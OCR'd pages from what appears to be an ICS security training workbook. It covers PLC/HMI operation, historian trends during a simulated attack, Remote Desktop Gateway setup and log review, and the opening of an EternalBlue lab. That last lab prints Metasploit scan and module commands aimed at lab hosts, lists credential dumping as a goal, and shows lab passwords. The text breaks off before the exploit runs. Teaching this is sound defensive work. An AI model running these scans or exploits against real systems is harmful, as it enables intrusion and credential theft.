Therefore, when the entry box is equal to the actual value readout, you know the CompactLogix PLC has recorded the
value. If the values are not equal, you also know that the Click PLC has not successfully sent the value to the
CompactLogix PLC
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3 Once the Type and Wgt1 (Weight 1) request has been sent to the CompactLogix PLC, the entry field and the actual field will be
equal
| e

Frodl Sel.

4. Next, you will enter the second product type and weight.

5. Once both product types and weights are entered, it's time to enter the grinding or mixing duration. Enter the Mix or Grind
Time and touch "Req" (request). Once the Click PLC has sent the value to pod controller, you will see the actual time value
request equal to the Time request field.
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6. Once all the Mixing or Grinding variables are entered, you can touch the Start button to being the Mixing or Grinding cycle.
Once the mixing or grinding permit is requested, you will see the RUNNING indication below the Start request button.

1ix < Grind [ |
M1 Ar1T | >

Time Start

7. From the Mix /Grind screen, you can touch the > button and display the actual filling weight.
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8 You can go back and forth between the screens touching the arrow left < and arrow right > buttons

Task 3 -- Coordinating Filling, Mixing or Grinding with the Useless box Switch

In your previous lab, you have used the Useless box switch to open and close the breakers mounted on the Pod.

1. In order to remotely control the breakers, you must enable the "Allow Click x Breaker Control" where "x" is equal to your Click
number. You will turn your "Allow Click x Breaker Control" on and toggle the Useless box switch to the ON position to enable or
toggle the Useless box switch to the OFF position to inhibit the filling, mixing, or grinding operation.

m 172.16.4.3 (PanelView VNC Server) - VNC Viewer - Od X
Click 1 Overview
Click 1 Read Write
Allow Click1 Breaker Heartbeat 26228 26229
Control Product Type 1 100 100
On I Type 1 Weight 50 50
Product Type 2 101 101
Click 1 Switch On Tpezveei W@ M
For Baq Fill Duration g0 80
Req Mix/Grind 0 0
Filled Weight 0 90
Bar Code 0 4018
Pod1 el Temperature 86 4019
Exit Cli FLE Caontrol
91172019 6:50:56 AM

Task 4 -- Monitor Historical Data During Normal and Malicious

1. Monitor the historical data as you cycle through normal operation modes. Toggle the Useless box switch to ON to enable the
process and run the process while watching the chart in the "Trend" display.

With the process enabled and breakers closed, a Fill cycle should have completed successfully, and the trend should look like
the 'Golden Run' as shown below as confirmation.
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2 Toggle the Useless box switch to OFF to inhibit the process and re-run the process while watching the chart in the "Trend"
display.

3. After about 10-20 seconds, toggle the Useless box switch to ON to enable the process.

With the process inhibited and breakers open, a Fill cycle should have been unsuccessful until the process was enabled. The
trend should look like the below. Even with this delay the fill was successful although with a delay, there would have been a
very slight, and possibly irrelevant, decrease in production overall equipment effectiveness.

Note

If your weight graph (Green) is small and does not take up the height of the trend similar to what is shown, increase the
weight requested in the C-More HMI and try again.

4. Witness how the historical data can be used to review a malicious event.
a. Leave the "Trend" display open and prepare to launch the attack from Lab 2.7.
b. With the attack ready, toggle the Useless ox switch ON and re-run the process.
c. Immediately trigger the attack and toggle the Useless box switch OFF while watching the chart in the "Trend" display.
d. Stop the attack after the fill cycle completes.

Your charts will vary slightly; however, when compared to the other charts, there is clearly a concern as the process was
triggered to inhibit at about a third of the way through its cycle but did not.
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i

5. Re-run the attack, but this time well before the start of the cycle and review the chart. Note that the "Safety All Clear" is ignored
and no longer prohibits the system from running.

6. Close the HMI client and disconnect from the remote desktop session.

1. What happens when the useless box is in the off position before the attack?

2. What happens when the useless box is in the off position during the attack?

Exercise Takeaways

A typical Historian software package is comprised of design software, communication configuration software, and visualization
software.

Some Historian architectures are designed so a Historian server is located in the DMZ which may require interested clients to
"dive" into the DMZ to get the information. This scenario may make it challenging to author granular firewall rules which may lead
to an "any —any" rule.
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Lab 3.3 -- Configure and Establish Secure Remote Access

Background

Total Lab Time: 30 minutes

Objectives

+ Understand the security options and nuances of configuring a remote access solution.

» Understand the benefits and challenges in using Digital Certificates for secure communications.
+ Methodically review the connections and protocols used to establish secure remote access.

« Learn the benefits of a proxy-based Jump Host secure remote access solution.

» Understand how to use and interpret logs for detection and forensics

Task 1 -- Using Microsoft's Remote Desktop Gateway

1. Copy the Lab 3.3 folder from the course ISO to the Student Windows VM desktop.

2. From the Student Windows VM, configure the Windows hosts file ( ¢:\Windows\system32\drivers\etc\hosts ) to resolve the
name of the DMZ hosted, Remote Desktop Gateway (RD Gateway) server computer. Open the Windows Hosts file in Notepad
as Administrator.

3. At the bottom of the file enter the following record.

172.30.1.CC RDOO

Where CC:

CC is based on your Pod number derived from the list below.

Pod1-3= 172.30.1.11 RDOO
Pod4-6= 172.30.1.12 RDOO
Pod7-9= 172.30.1.13 RD0OO
Pod 10-12 = 172.30.1.14 RDOO
Pod 13-15= 172.30.1.15 RDOO

Example

Pod 1/ Student 1 =172.30.1.11
Pod 12 / Student 2 = 172.30.1.14

4. Launch Remote Desktop Connection application and click the show options from the bottom left of the "Remote Desktop

Connection" window.
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All Apps Documents Settings Web Mo|

Best match

‘. Remote Desktop Connection
“' App

5. Configure the connection to use a RD Gateway Server, click the Advanced tab and then settings.

General Display Local Resources Experience Advanced

Server authentication
Server authentication verifies that you are connecting to the
B intended remote computer. The strength of the verification
required to connect is determined by your system security
policy.

If server authentication fails:

Wam me iv

Connect from anywhere

n Configure settings to connect through Remote Desktop
Gateway when | am working remotely.

(«) Hide Options Connect Help

6. Select the bullet use the RD Gateway server settings.

7. Enter the RD Gateway computer name RDOO as the "Server name".

Warning

Be sure to enter the hostname of the RDOO.
DO NOT ENTER AN IP ADDRESS.

8. Uncheck Bypass RD Gateway server for local addresses.

9. Uncheck Use my RD Gateway credentials for the remote computer .
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10. Click ok to close the "RD Gateway Server Settings" window.

Connection settings
(O Automatically detect RD Gateway server settings
(® Use these RD Gateway server settings:

Server name: | RDOO

Logon method: Allow me to select later V.

[[] Bypass RD Gateway server for local addresses
(O Do not use an RD Gateway server

Logon settings
User name: None specified
You will be asked for credentials when you connect to this RD
Gateway server.

[[J Use my RD Gateway credentials for the remote computer

[ox ][ Conce

11. Click the Local Resources tab andthen More.

12.

General Display Local Resources Experience Advanced

Remote audio
B Configure remote audio settings.

Settings...
Keyboard
oy Apply Windows key combinations:
. Only when using the full screen 2

Example: ALT+TAB

Local devices and resources
. / Choose the devices and resources that you want to use in
#20|  yourremote session.

Printers Clipboard

(4 Hide Options Connect | Help

Check Local pisk (c:) and click ok.

Local devices and resources

Choose the devices and resources on this computer that you want to
use in your remote session.

Smart cards
[JPorts
= [JDrives
[ Local Disk (C:)
[JDovD Drive (D:)
[ Drives that | plug in later
[JVideo capture devices
[CJOther supported Plug and Play (PnP) devices

==
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13. Click the General tab.

14. Enter name of the OWS remote computer used in a previous lab.

Warning

Be sure to enter the hostname of the RD0OO.
DO NOT ENTER AN IP ADDRESS.

OWS{AAB}

Where {AAB}:

AA =Pod#=1-15
B = Student#=1-2

{AAB} is based on your Pod and Student number derived from the method below.

Example

Pod 1 / Student 1 = OWS11
Pod 12 / Student 2 = OWS122

Logon settings

Computer:

Connection settings

(4 Hide Options

General Display Local Resources Experience Advanced

ﬂ%hl Enter the name of the remote computer.
~

User name: I |

You will be asked for credentials when you connect.

[] Allow me to save credentials

Save the cument connection settings to an RDP file or open a
l _ saved connection.

Save

lows11] v

Save As... . Open...

[ Comect || Hep

15. Click connect.
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16 Click connect again when asked about trust of the remote connection.

% Remote Desktop Connection X

O Do you trust this remote connection?

This remote connection could ham your local or remote computer. Make sure that you trust the remote
computer before you connect.

% Type: Remote Desktop Connection
: Remote computer: ows11

Gateway server: RD0O0

[[] Dont ask me again for connections to this computer

> Show Details Connect

17. Log onto the RD Gateway with the following credentials. For international keyboards having difficulty finding special
characters, there is a credentials.txt file in Lab 3.3 folder which can be used to copy/paste the password.

Username: RDe6\engineer Password: Roast3r#
Be sure to add the hostname (RD0O) in the username field.

18. The login fails to complete with the following error as RDP refuses to connect to an untrusted certificate, click ok .

Remote Desktop Connection X

This computer cant verify the identity of the RD Gateway "RD00". It's not safe to connect to servers that cant be identified. Contact your
network administrator for assistance.

[0k | | Viewcetficate...

19. The certificate must be download from the server and installed, with the "Remote Desktop Connection" application left open,
launch Microsoft Edge.

20. Navigate to the "Remote Desktop Gateway" server by entering the following URL.
https://rd00/rdweb

] Certificate error: Naviga X -

= O M @ | https://rd00/rdweb

21. From the "This site is not secure" page select petails to drop down more options and select Go on to the webpage (not

recommended) .
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This site is not secure

This might mean that someone’s trying to fool you
or steal any info you send to the server. You should
close this site immediately.

3 Go to your Start page

Details

Your PC doesn't trust this website's security
certificate.

Error Code: DLG_FLAGS_INVALID CA

Go on to the webpage (Not recommended)

Since we are using a self-signed certificate instead of one issued from a publicly trusted Certificate Authority (CA), the client
and browser do not trust this self-signed certificate. Let's continue and see if any other problems arise by using this
"untrusted" certificate.

22. Configure the local machine to trust the self-signed certificate, click on the certificate error indicator on the left-hand side
of the browser's "Address Bar".

23. Click view certificates to view the certificate information.

R

- O @ A Certificate error | https://rd00/RDV

Website problem

There's a problem with this website's

security certificate. This might mean that
someone’s trying to fool you or steal any

info you send to the server. nc

View certificate AP

Website permissions

You haven't set any permissions for this site
yet.

Media autoplay settings

24. From the "Certificate Information" click Export to file.
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g Certificate Information -
&

RDOO

r— | RDOO
Q_ Certificate error (X)

Issued by
RDOO

Valid from
Sunday, September 8, 2019 1:47:50 PM

Valid to
Friday, September 7, 2029 7:00:00 PM

Subject organization
Unknown

Serial number
5A:BF:72:0C:80:2A:5D:A1:42:EA:E7:07:E2:5D:49:
05

SHA-256 fingerprint
40:B4:80:A8:44:69:AE:C4:1A:E0:04:E1:9F:DC:SE:
C7:04:5C:61:48:3F:8E:9D:7E:7E:E0:C8:20:4A:A2:
CT:AA

SHAT1 fingerprint
67:A6:90:50:D6:ED:9F:B5:6A:3B:57:77:97:6E:7C:
0C:80:E2:A8:0D

Subject public key
RSA

25. Save the file to the Desktop.

26. From the Desktop, right-click the exported certificate file "RD0O0" and click Install certificate.

Open

Install Certificate

Shred with BleachBit

Scan with Windows Defender...
Share

Open with...

Give access to

Restore previous versions

Send to

Cut
Copy

27. Click open in the "Security Warning" window.
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Open File - Security Warning

Do you want to open this file?

Name: C:\Users\ICS612.DESKTOP-BR131UQ\Desktop\RDOO.crt
g Publisher: Unknown Publisher
Type: Security Certificate
From: C:\Users\IC5612.DESKTOP-BR131UQ\Desktop\RD0O.crt

Open I I Cancel

Always ask before opening this file

harm your computer. If you do not trust the source, do not open this
o software. What's the risk?

I ’] While files from the Internet can be useful, this file type can potentially
&)

28. Click the bullet beside Local Machine forthe "Store Location" and click Next .

Store Location
O Current User

(® Local Machine

To continue, dick Next.

29. Click ves on the "User Account Control" warning window.

30. Click the bullet beside Place all certificates +in the following store.

31. Click Browse to open the "Select Certificate Store".

32. Select Trusted Root Certification Authorities as the "Certificate Store" location.

33. Click ok .

Certificate Store
Certificate stores are system areas where certificates are kept.

top Connection

the certificate.

(@) Place all certificates in the following store
Certificate store:

Windows can automatically select a certificate store, or you can specify a location for

(O Automatically select the certificate store based on the type of certificate

H Browse... ‘

Select Certificate Store

Select the certificate store you want to use.

[~ Personal

[ Enterprise Trust

[ ] Trusted Publishers
I lintricted Cartifircatec

@l Trusted Root Certification Authorities

[ ] Intermediate Certification Authorities

< >
[ show physical stores d
[ ok ]| cancel | Er
[
34. Click Next .
35. Click Finish to complete the import of the certificate, and ok on success.
36. Test certificate trust, close and relaunch Microsoft Edge .
37. Navigate back to the RD Gateway web page.
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38.

39.
40.
411.

42.

43.

https://rd00/rdweb

Verify the Address Bar is white not red and has a "Lock Icon" on the left-hand side.

EJ RD Web Access

O 8 https:/,r‘rdOO/RDVv.’eb,/‘Pages,.r’en-US/ lo

Re-test Remote Desktop Gateway logon, switch back to the remote Desktop Connection application.
Click connect .
Re-enter the credentials for the RD Gateway.

Username: RDeO\engineer
Password: Roast3r#

Be sure to add the hostname in the username field.
Check the agreement to the terms and click ok .

Username: ICS612
Password: ICS612

Click ves on the untrusted certificate warning and complete the connection.

%5 Remote Desktop Connection X

The identity of the remote computer cannot be verified. Do
you want to connect anyway?

The remote computer could not be authenticated due to problems with its
security certificate. It may be unsafe to proceed.
Certificate name

@ Name in the certificate from the remote computer:
ows

Certificate emors

The following errors were encountered while validating the remote
computer’s certificate:

/4 The certificate is not from a trusted certifying authority.

Do you want to connect despite these certificate emors?

[] Dont ask me again for connections to this computer

View certificate... Yes ‘ I No I

This time the untrusted (self-signed) certificate is from the target computer, OWS. Unlike the previous certificate issue, this one
allows the user to acknowledge the warning and continue with the connection. Many remote access solutions rely on multiple
services to interact to provide secure remote access. Certificates, however, is the common method used to build a trust
relationship between these services to assure security. Unfortunately, for these types of solutions, the certificate management
and private certificate handling are usually undervalued towards the overall intent of using secure communications. In some
cases, the remote access solution or software provider (even with secure communications provider) provides a convenient
method for certificate management that is minimally exposed to the owner or administrator. Architecting a good certificate
management system in support of secure remote access of communications system is difficult while implementing and
maintaining is even harder. Theft of private certificates from publicly trusted certificate management authorities are publicly
known and concerning but building an internal certificate management system that meets the strength of a reputable public
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certificate authority vastly exceeds the funding capabilities of most organizations. The challenge of using certificates in an
ICS security solution is the preferred isolation from the Internet that, unfortunately, appropriate certificate management
requires. Although it is important to understand how certificate management and handling of private certificates participate
in the role of the secure remote access. It is also important to understand the attack vectors that are introduced by using a

certificate-based security solution.
44. Open Windows Explorer .

45, Click on computer within the left menu.

(€18

Organize ¥  System properties  Uninstall or change a program  Map network drive  Ope

- ’jl,i ~ Computer +

“ Hard Disk Drives (1)

=] ¢ Favorites
Bl Desktop Local Disk (C:)

By Doviioads 23.0 GB free of 39.5 GB

| Recent Places
+ Devices with Removable Storage (1)

[=] 4 Libraries [
"‘,.‘ 5 . LB OV Drive (D:)
+ | &| Documents =7
rJ'; Music
k= Pictures
[+ E Yideos =~y ConDESKTOP-BR131UQ

System Folder

-2
E. Local Disk (C:)
[ 6 C on DESKTOP-BR1311 )

+ Other (1)

46. Open the drive " ¢ on DESKTOP-BR131UQ ". The drive name maybe different but it will be a "System Folder".

Many services are implemented with default settings without reviewing or understanding the security implications of their use
and take things for granted. Many consider RDP to be a method to extend keyboard, video, and mouse. This default 'Enabled’
device redirection would allow the client to mount their local client storage drive to the remote machine and can move files
between the two connected computers. If an authorized file transfer system for external ICS users was in place or a policy
prohibited the use of external file transfer, this default setting would essentially place this service out of compliance with the
policy. More concerning is that this default setting is regularly overlooked.

Task 2 -- Remote Desktop Connection and Architecture Review

1. Review connections made between the client and remote computer while using the RD Desktop, minimize the remote desktop.
DO NOT CLOSE.

H OWS05 TTETX
2. From the Student Windows VM, open Command Prompt .
3. Run the following command and review the output. It may take a few minutes to complete.
netstat -a | findstr /I ESTABLISHED

There is a HTTPS (SSL) connection to the Remote Desktop Gateway server. There is no connection to the OWS.
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172.16.1.105:4 8 RDEO:https ESTABLISHED

172.16.1.165: >0 RDOO:https ESTABLISHED

4. From within the remote OWS desktop session, open Command Prompt .

5. Run the following command and review the output. It may take a few minutes to complete. For international keyboards

having difficulty finding special characters, there is a command.txt file on the OWS desktop that can be used to copy/paste
the command from.

netstat -a | findstr /I ESTABLISHED

TCP 172.20.3.5:3389 RDAB:54067 ESTABLISHED

There is a 3389 connection from the Remote Desktop Gateway server. There is no connection from the Student Windows VM.

The Remote Desktop Gateway is used to authenticate, authorize, audit and proxy all Remote Access Desktop connections. This
architecture encrypts the communication between the remote client and the Remote Desktop Gateway. The Remote Access
Gateway server resides in the ICS DMZ allowing for an external access from "untrusted" Windows client. The client is
authenticated and authorized through a Remote Desktop Gateway (broker or proxy) to connect to a specific "trusted” Windows
"ICS" desktop session. Access to the Remote Desktop Gateway would also typically require a corporate VPN. This solution
compliments the best practices set out for a secure ICS perimeter architecture design. There are limitations to this solution. Many
operation's teams would prefer to have collaborative visibility into activates performed during the remote session. This can be
achieved by sharing a desktop or recording the sessions both of which are outside of the RDP protocol's intended use.

Considering the setup of firewall DMZ rules for this connection, only 2 protocol rules are required. The following items, however, do
add more complexities to the solution and the DMZ architecture.

* More external connections between the RD Gateway and a Certificate Manager (likely upstream) for improved certificate
management could also increase the attack surface.

» The RD Gateway is not a member of Active Directory or using DNS so maintaining users and the hosts file on changes could
be difficult and increased use of shared accounts and possibly old access that should be retired. However, adding an Active
Directory opens additional attack vectors.

* This is a single factor solution but when configured with a RADIUS server, additional factors of authentication can be used.

Task 3 -- Review Logs

1. Minimize the remote desktop connection if not already. DO NOT CLOSE.
2. From the Student Windows VM launch PowersShell.
3. Within PowerShell navigate to the Desktop.

4. Identify your IP address, run the following script. The address should start with "172.16"

Get-NetIPAddress | Format-Table
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PS C:\Users\ICS612.DESKTOP-BR131UQ\Desktop> Get-NetIPAddress | Format-Table

ifIndex IPAddress PrefixLength

fe80::70c3:5c55:bcBe:6164%9 WellKno
fe80::acfb:587b:9fa%:7492%10 WellKno
Sl WellKno
169.254.97.100 WellKno
172.16.1.105 24 Dhcp

127.0.0.1 WellKno

5. Pull the Windows event logs from the Remote Desktop Gateway server by running the scripts provided in the Lab 3.3 folder
using the following command.

GetRDGLogs.ps1l summary 172.16.AA.CCC

GetRDGLogs.psl summary 172.16.AA.CCC

Where: AA = Pod# 1 - 15
CCC = Student Windows VM Address# = 100 - 120

Examples:
Podl / Student Windows VM Address 105 = GetGDRGLogs.psl summary 172.16.1.105
Podl2 / Student Windows VM Address 103 = GetGDRGLogs.psl summary 172.16.12.103

PS C:\Users\ICS612.DESKTOP-BR131UQ\Desktop> .\GetRDGLogs.psl summary 172.16.1.105_

6. Enter the password of the Remote Desktop Gateway.

Username: RDOO\engineer
Password: Roast3r#

Be sure to add the hostname (RD0O) in the username field.

Windows PowerShell credential request ? X
2
R
Enter your credentials.
User name: l € RDOO\engineer v ‘ s
Password: | sesssnes ]

7. The output should display the events from 2 logs; "TerminalServices-Gateway" and "Security".
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ProviderName: Microsoft-Windows-TerminalServices-Gateway

Information "RD@®\engineer" client computer "
Information "RD@O\engineer" client computer "
Information "RD@O\engineer" client computer "
Information "RD@@\engineer" client computer "
300 Information "RD@O@\engineer" client computer "

280 Information "RD@@\engineer" client computer "

ProviderName: Microsoft-Windows-Security-Auditing
imeCreated
/5/2022 10:25:08 AM Information An account was successfully logged on....

/5/2022 10:25:08 AM b Information An account was successfully logged on....
/5/2022 10:25:08 AM 4624 Information An account was successfully logged on....

Typically network event triggers are setup around failed attempts or patterns of successful logins. The criticality of an ICS
system and the power of having remote access should consider a different approach. Triggering on every failed or success
attempt are ideal because it can inform the operations team of what is happening in their environment. This is not that
different than the way Operations Teams track maintenance activities, internal contractors or even monitoring system
parameters to actively validate what is happening in the environment. Additionally, the infrequency and limited remote user
set to these environments does make this feasible. Unique logins through this connection chain is great, but sometimes not
feasible to roll out, so having it somewhere early in the chain does at least help narrow down the compromised user/account/
device.

8. Let's look at some forensic details, re-run the script but this time pass the "detailed" parameter.

GetRDGLogs.psl detailed 172.16.AA.CCC

Where: AA = Pod# = 1 - 15
CCC = Student Windows VM Address# = 100 - 120

Examples:
Podl / Student Windows VM Address 105 = GetGDRGLogs.psl detailed 172.16.1.105
Podl2 / Student Windows VM Address 103 = GetGDRGLogs.psl detailed 172.16.12.103

PS C:\Users\ICS612.DESKTOP-BR131UQ\Desktop> .\GetRDGLogs.psl detailed 172.

9. Search through the results to find the details on authorization and connection to the Operator Workstation.
ProviderName: Microsoft-Windows-TerminalServices-Gateway

TimeCreated Id LevelDisplayName Message

2/5/2022 10:25:54 AM 302 Information The user "RD@@\engineer", on client computer "172.16.1.105",
connected to resource "OWS@5".

2/5/2022 10:25:54 AM 300 Information The user "RD@@\engineer", on client computer "172.16.1.105", met
resource authorization policy requirements and was therefore
authorized to connect to resource "OWS@5".

We can now identify what resource the remote user connected to after successfully logging into the Remote Desktop Gateway.
Having the TerminalServices-Gateway logs in sync with the Security logs also validates the remote user used the Remote
Desktop Client. Having only a Security log entry existed may indicate a different or unusual method was used to log in to that
server.

10. Return to the remote system, Operator Workstation (OWS).

11.Open Event Viewer from "Start Menu".
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Programs (4)

ent Viewer

@ FactoryTalk Alarms and Events Help
[?9 FactoryTalk Alarms and Events Release Notes
'@] FactoryTalk Alarms and Events System Configuration Guide

Control Panel (1)

View event logs

-~ See more results

Ievend Log off DI

12. Select security under "Windows Logs".

WAL 1

{2] Event Viewer {Local)

L ;y Custom Views

= [m Windows Logs
i+ Application

] setup
is] System
=] Forwarded Events
BB Applications and Services Logs

BBl carbav i Tall: Rinamackiso-

13. Right click " security " and select Find..

-

{2] Event Viewer {Local)
L ;y Custom Views
=) [ Windows Logs
+| Application

L=

= ESe Open Saved Log...

f Sy Create Custom Yiew...

—| Fo  Import Custom Yiew...

=0 A_pplice Clear Log...

= Fa Filter Current Log. ..

= Properties
Inl

P

g i M oave All Events As...

VE] Attach a Task To this Log...

View »

[+

Refresh

| [+

Help 4

14. Enter the IP Address of the Remote Desktop Gateway, 172.30.1.{CC}, and click Find Next.
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Audit Success
=\, Audit Success
<L, Audit Success

Event 4634, Micrc

General | Detai

Technet24



Where {CC}:

CC is based on your Pod number derived from the list below.

Pod 1-3= 172.30.1.11 RD0OO
Pod4-6= 172.30.1.12 RDOO
Pod7-9= 172.30.1.13 RD0OO
Pod 10-12 = 172.30.1.14 RDOO
Pod 13-15= 172.30.1.15 RDOO

Example

Pod 1/ Student 1 =172.30.1.11
Pod 12 / Student 2 = 172.30.1.14

An event should be found with event ID 4624, click cancel on the "Find" windows and review the event message discovered, it
should contain the following details.

MNetwork Information:
Workstation Name: OWS
Source Network Address:  172.30.1.5
Source Port: 61538
Note

The 'Source Network Address' should reflect the IP address of your Remote Desktop Gateway and the 'Source Port' is
randomly generated.

15. Navigate down the tree in the left to additional Terminal Services Logs ( Applications and Services Logs — Microsoft —
windows ). Review the events within the four associated Operational logs.

= LA WINJOWs LOgs
= = | TerminalServices-ClientUSBDevices

| Application :
+| Security =] Admin '
= Setup §:| Operational
= System = .| TerminalServices-LocalSessionManager
= .
| Forwarded Events 5] admin .
[= L Applications and Services Logs . Erl Qperatlol":a .
| FactoryTalk Diagnostics = | TerminalServices-PnPDevices
= .
+| Hardware Events 5] admin '
+| Internet Explorer = Qperatlopal ‘
| Key Management Service = | TerminalServices-RemoteConnectionManager
L3

= [ Microsoft =] Admin -
= ] windows ) ] operational

- o

With the Remote Desktop Gateway involved in the remote desktop connection, the final authentication is between the RDG
and OWS. There is no indication that this connection originated from the Student Windows VM. When collection logs from
these solutions, it is imperative to pull the logs from each asset in the connection chain.

For us this would include:

* The initiating device (Student Windows VM) assuming it is a corporate owned asset and the connection originates from
outside the ICS environment

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 275



. Any VPN logs (we did not cover) that would be involved if the connection is initiating from an untrusted device.

* The Remote Desktop Server which is hosted in the DMZ between the business network and ICS network. Ownership could
be operations or IT, but an external log collection solution must not weaken the protection of this asset as it is a clear
pivot point into the ICS environment. Running WMI scripts from the IT network is simplistic but extremely risky.

* The Operator Workstation, which would commonly be an Engineer Workstation, is hosted within and owned by
operations. As obvious as this may seem, many ICS environments do not run the same security logging tools, if any, as
the corporate network. Additionally, time synchronization is paramount for integrity of this analysis. A collection solution
must support the integrity of the IT/OT boundary protections.

16. Close the Remote Session.

1. Is the authentication based on the user and password only?

2. Why are the host file entries required?

3. Would it be better to utilize PKI infrastructure?

Exercise Takeaways

The intent of a secured remote access session is to gain access and control of a trusted asset from an untrusted network to
provide a service or support to operations in a fast, efficient, cost-effective, and secure manner

A recommended remote access design utilizing a proxy-based Jump Hosts provides a defined separation between protocol and
services between the untrusted network and the trusted network. This separation allows secured session establishment to the
trusted network but prevent ICS protocols or tools to be used outside of the environment or on the Jump Host directly. This

separation allows more frequent patching and updating of the proxy-based jump host while leaving the ICS network to operate at
a lower patch level.

From a Jump Host architecture into an ICS environment, it is very common to utilize Microsoft's Remote Desktop Gateway service
to gain remote access from an untrusted network to a trusted network.

Microsoft Remote Desktop Gateway

o

ros

+ Readily available - simply add the role to a Microsoft server
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. Ability to authenticate user and device

« Ability to specify user and computer level authorization

Cons

+ Device authentication less prevalent with third-party devices

« Certificate management process or a PKl infrastructure required
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Lab 3.4 -- SMB Attack
Background

Background
Total Lab Time: 30 minutes

In this lab, you will be exploiting a vulnerability, called EternalBlue, in Microsoft's implementation of the Server Message Block
(SMB) protocol.

EternalBlue was:

+ Allegedly developed by the U.S. National Security Agency (NSA)
+ Leaked by Shadow Brokers hacking group in 2017
+ Used in WannaCry and NotPetya malware

+ Security Bulletin MS17-010 (aka EternalBlue)
Tools Used:

« Kali Linux is an open-source penetration testing platform/distro that is maintained, and funded by Offensive Security

+ Metasploit is an open-source project that provide the infrastructure, content, and tools to perform penetration tests and
extensive security auditing

+ Nmap ("Network Mapper") is a free and open-source utility for network discovery and security auditing
+ Mimikatz can extract plaintexts passwords, hashes, PIN codes, and Kerberos tickets from memory

+ Mimikatz can also perform pass-the-hash, pass-the-ticket, or build Golden tickets

Objectives

« Discover vulnerable SMB file shares
+ Exploit SMB vulnerability

» Dump cleartext credentials

Task 1 -- Scan for SMB file shares

1. Open the Kali Linux VM

Username: root
Password: toor

2. Open a Terminal window by right clicking the Terminal icon and selecting " New Window ".
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All Windows

New Window

Preferences

Remove from Favorites

Show Details

3. Start the Metasploit penetration testing framework. Type the following command in the terminal and press the Enter key.

msfconsole

Ref: https://www.metasploit.com/

:~# msfconsole

metasploit v5.0

1914 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops

4 evasion

4. Use the discovery scanner in Metasploit to look for exposed services on TCP Port 445 on a known asset in the IDMZ network.
Type the following command in Metasploit to perform a Nmap scan against your assigned server and press the Enter key.

db_nmap -n -sT -p 445 --open 172.30.2.AAB
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Where: Pod#

= Student#

IU’l;
|
|

—
|
i
&

Il
—
|
N

Examples:
Podl / Student 1
db _nmap -n -sT -p 445 --open 172.30.2.11
Podl2 / Student 2
db nmap -n -sT -p 445 --open 172.30.2.122

BLAANNNS

:~# msfconsole

=[ metasploit v5.0.41-dev
--=[ 1914 exploits - 1074 auxiliary - 330 post
--=[ 556 payloads - 45 encoders - 10 nops
--=[ 4 evasion

msf5 > db nmap -n -sT -p 445 --open 172.30.2.0/24.

Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2019-88-21 15:30 EDT

Nmap: Nmap scan report for 172.30.2.10

Nmap: Host is up (0.0018s latency).

Nmap: PORT STATE SERVICE

Nmap: 445/tcp open microsoft-ds

Nmap: Nmap done: 256 IP addresses (4 hosts up) scanned in 4.32 seconds
msf5 > services

port proto name state info
172.30.2.10 445 tcp microsoft-ds

msf5 =

Task 2 -- Scan for vulnerable SMB file shares

1. Search the Metasploit framework for available EternalBlue vulnerability scanner modules. Type the following command in the
terminal and press the Enter key.
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search eternalblue

msf5 > search eternalblue

Matching Modules

# Name

® auxiliary/admin/smb/ms17 010 command 2017-03-14

1Synergy/EternalChampion SMB Remote Windows Command Execution

1 auxiliary/scanner/smb/smb msl1l7 010

2 exploit/windows/smb/ms1l7 010 eternalblue
e Windows Kernel Pool Corruptio

3 xploit/windows/smb/ms17 010 eternalblue win8 2017-03-14
e Windows Kernel Pool Corruption for Win8+

4 loit/windows/smb/ms17 010 psexec 2017-03-14
1Synergy/EternalChampion SMB Remote Windows Code Execution

2017-03-14

msf5 > JJ

Disclosure Date

Rank

normal

normal
average

average

normal

Description
MS17-010 EternalRomance/Eterna

MS17-810 SMB RCE Detection
MS17-010 EternalBlue SMB Remot

MS17-810 EternalBlue SMB Remot

MS17-010@ EternalRomance/Eterna

. Load a scanner module to examine the service behind the open TCP 445 port for EternalBlue vulnerabilities. Type the

following command in the terminal and press the Enter key.

use auxiliary/scanner/smb/smb_ms17_010

msf5 > use auxiliary/scanner/smb/smb ms17 010

msf5 auxiliary/(

. Display the specific module options. Type the following command in the terminal and press the Enter key.

show options

> use auxiliary/scanner/smb/smb_ms17_ 016
m auxiliary( ) = show options

Module options (auxiliary/scanner/smb/smb msl7 010):
Name Current Setting
CHECK_ARCH
hosts
CHECK_DOPU
hosts
CHECK_PIPE
osts

Required

NAMED PIPES /usr/share/metasploit-framework/data/wordlists/named pipes.txt yes

SMBDomain
tication

SMBPass
ame

SMBUser

THREADS

msf5 auxiliary(

yes

yes
no

no

no

Description

Check for architecture on vulnerable
Check for DOUBLEPULSAR on vulnerable
Check for named pipe on vulnerable h

List of named pipes to check
The target address range or CIDR ide

The SMB service port (TCP)
The Windows domain to use for authen

The password for the specified usern

The username to authenticate as
The number of concurrent threads

4. Configure the module with a victim host IP address. Type the following command in the terminal and press the Enter key.

set RHOSTS 172.30.2.AAB
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Pod# = 1 = 15
Student#

Where:

I
—

|
N

e |§

Examples:
Podl / Student 1
set RHOSTS 172.30.2.11

Podl2 / Student 2
set RHOSTS 172.30.2.122

msfS auxiliary( ) > set RHOSTS 172.30.2.10
RHOSTS => 172.30.2.10

msfS auxiliary( |

5. Leave the remaining options as default and start the scanner. Type the following command in the terminal and press the
Enter key.

run

6. Note whether the system is vulnerable to EternalBlue.

msf5 auxiliary( ) > set RHOSTS 172.30.2.10
RHOSTS => 172.30.2.10
msf5 auxiliary( ) = run

[+] 172.30.2.10:445 - Host is likely VULNERABLE to MS17-016! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (
64-bit)

[*] 172.30.2.10:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary( ) >

Task 3 -- Exploit SMB vulnerability

1. Search the Metasploit framework for available EternalBlue exploit modules. Type the following command in the terminal and
press the Enter key.

search eternalblue
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msf5 = search eternalblue

Disclosure e Rank eck escription

© auxiliary/admin/smb/ms1l7 ©1@ command 2017-03-14 normal MS17-010 EternalRomance/Eterna
1Synergy/EternalChampion SMB Remote Windows Command Execution

1 auxiliary/scanner/smb/smb msl7 016 normal e5 MS17-010 SMB RCE Detection

2 yloit/windows/smb/ms17 016 eternalblue 2017-03-14 average Ye MS17-010 EternalBlue SMB Remot
e Windows Kernel Pool Corruption

